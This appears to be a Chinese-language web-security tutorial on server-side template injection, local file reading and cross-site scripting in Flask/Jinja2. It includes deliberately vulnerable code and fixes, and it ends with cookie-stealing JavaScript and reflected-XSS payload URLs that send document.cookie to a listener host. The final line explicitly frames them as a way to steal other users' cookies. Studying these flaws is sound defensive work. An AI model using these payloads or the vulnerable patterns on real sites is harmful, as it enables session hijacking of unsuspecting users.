对于表示层,Flask利用Jinga2引擎,其使用方便,自动转义.html,htm,xml以及.xhtml文件中的内容。Flask允许在Python源代码中使用HTML字符串创建模版,Flask内部使用本地线程对象,这样就可以不用为了线程安全的缘故在同一个请求中在函数之间传递对象。
服务端模版注入
Flask框架中提供的模版引擎可能会被一些无量开发者利用引入一个服务端模版注入漏洞,如果对此感到有些困惑可以看看James Kettle在黑帽大会中分享的议题(PDF),简而言之这个漏洞允许将语言/语法注入到模板中。在服务器的context中执行这个输入重现,根据应用的context可能导致任意远程代码执行(远端控制设备)
接下来为我们就看看使用模板字符串功能如何探索安全问题,思考下面的代码片段:
from flask import Flask, request, render_template_string,render_template
app = Flask(__name__)
@app.route('/')
def hello_ssti():
person = {'name':"world",'secret':"UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=="}
if request.args.get('name'):
person['name'] = request.args.get('name')
template = '''<h2>Hello %s!</h2>''' % person['name']
return render_template_string(template,person=person)
def get_user_file(f_name):
with open(f_name) as f:
return f.readlines()
app.jinja_env.globals['get_user_file'] = get_user_file
if __name__ == "__main__":
app.run(debug=True)
然后运行程序测试模板注入
其中我们以get方式定义一个name参数来传输数据,
现在模板注入测试一下,利用flask Jinga2引擎引起的模板注入问题,将我们想要得到的数据用{{}}包裹。
1. {{person.secret}}
前面数据随便加的,为了直观区分一下, 重点{{}}内的
从这里可以看出我们设置的secret泄露出来了已经,密钥泄露是件相当危险的事情。虽然实战中代码不会这么ZZ,但若真实环境出泄露出密钥很危险。
代码中我们还可以看到一个方法,get_user_file方法,这个更厉害,通过次方法可以引起本地文件包含和读取。通过模版进行本地文件包含(LFI)
函数方法使用不当可以包含读取本地文件,这里读取tmp/secrets.txt和/etc/passwd文件。
由于使用字符串连接或替换出现这个问题,如果你是一位Flask开发者,你可能已经知道答案。Jinja2在模版中使用花括号{{}}包围环境变量,通过将我们的输出放置到这些括号内,可以阻止用户输入包含模版语法的数据在服务器的context中执行。
在修复后的适当位置尝试整行读取:
template = '<h2>Hello {{ person.name }}!</h2>
这样做就勉强降低了服务端模板注入的威胁。
跨站脚本
如上所述,Flask对某些文件提供了一个自动转义的特性。
tips:
1.模版可以禁用该特性
2.模板字符串非公共文件扩展名默认情况下是不启用自动转义功能的
尝试使用一个常见的XSS测试字符串:
<script>alert(/xss/)</script>
模版字符串不会自动转义,为了修复这个问题,我们可以通过手工绕过输出过
,加上|e就可以保证在过滤进行之前就反馈给用户。所以我们最终的模版字符串应该是这样的
template = '<h2>Hello {{ person.name | e }}!</h2>'
并非所有的应用都在使用on-the-fly模版,那么更传统的跨站脚本攻击是在静态模版中?
思考下面的函数:
def hello_xss():
name = "world"
template = 'hello.unsafe' # 'unsafe' file extension... totally legit.
if request.args.get('name'):
name = request.args.get('name')
return render_template(template, name=name)
注意:Python代码在模版中调用render_template,这不是一个会自动转义的文件扩展。根据模版中的代码hello.unsafe,我们可能得到了一个跨站脚本漏洞,以下为模版代码:
{% autoescape true %}
<h2>Good</h2><p>
Hello {{ name }}!
I don't trust your input. I escaped it, just in case.</p>
{% endautoescape %}
<h2>Bad</h2><p>
I trust all data! How are you {{ name }}?
</p>
自动转义模块和预期一般正常工作;我们对输出进行适当转义。然而,第二部分允许payload注入在浏览器中执行。
"Good"部分利用Jinga2引擎的自动转义功能,我们也可以利用|e过滤。以下为在"Bad"部分中使用|e过滤的输出
I trust all data! How are you {{ name|e }}?
发现注入已经没用了。
顺便在这利用反射XSS监听端口反弹一下cookie信息
@app.route('/get') #获取cookie
def get_cookie():
cookie = request.cookies.get('username')
template = '''<h2> username: {{cookie}}</h2>'''
return render_template_string(template,cookie=cookie)
@app.route('/cookie') #查看cookie
def cookie():
resp = Response("saber's home")
resp.set_cookie('username', 'saber')
return resp
这样我们写了个获取cookie的方法来检测一下
现在可以发现存在cookie的,通过XSS查询也能看到
cookie.js
var image=new Image();
image.src='http://192.168.198.130:7777/?a='+document.cookie
或
var img = document.createElement("img");
img.src = "http://vps.ip/?cookie=" + encodeURI(document.cookie);
document.body.appendChild(img);
payload:
http://192.168.198.130:5000/?name=<script src='http://192.168.198.130/cookie.js'></script>
这样我们去监听7777端口,通过包头去看cookie信息。
另一种方式,直接在参数处执行js里的内容,在具体环境中随机应变方式太多,大多有waf,所以exp需要简洁可执行/
payload
http://192.168.198.130:5000/?name=<script>var image=new Image();image.src="http://192.168.198.130:7777/?a='+document.cookie"</script>
或
http://192.168.198.130:5000/?name=<script>new Image().src="http://192.168.198.130:7777/?a='+document.cookie"</script>
或
http://192.168.198.130:5000/?name=<script>new Image().src='http://192.168.198.130:7777/?cookie='+escape(document.cookie)"</script>
在真实环境中document.cookie只能看到自己cookie,所以这种方法是可行且方便的获取他人cookie的一种方式。